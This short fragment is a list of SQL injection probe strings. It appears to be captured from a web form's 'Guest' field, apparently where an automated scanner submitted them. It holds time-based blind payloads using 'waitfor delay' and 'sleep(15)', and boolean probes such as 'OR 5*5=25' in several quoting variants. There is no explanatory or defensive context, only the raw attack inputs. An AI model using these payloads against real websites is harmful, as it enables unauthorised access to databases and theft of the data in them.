Guest:
555-1)); waitfor delay '0:0:15' -- 


Guest:
555-1)); waitfor delay '0:0:15' -- 


-1 OR 5*5=25 --

-1 OR 5*5=25

-1' OR 5*5=25 --

-1" OR 5*5=25 --

-1' OR 5*5=25 or 'kkal81IS'='

-1" OR 5*5=25 or "cTlBdsyc"="

if(now()=sysdate(),sleep(15),0)

Guest:
555-1)); waitfor delay '0:0:15' -- 
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z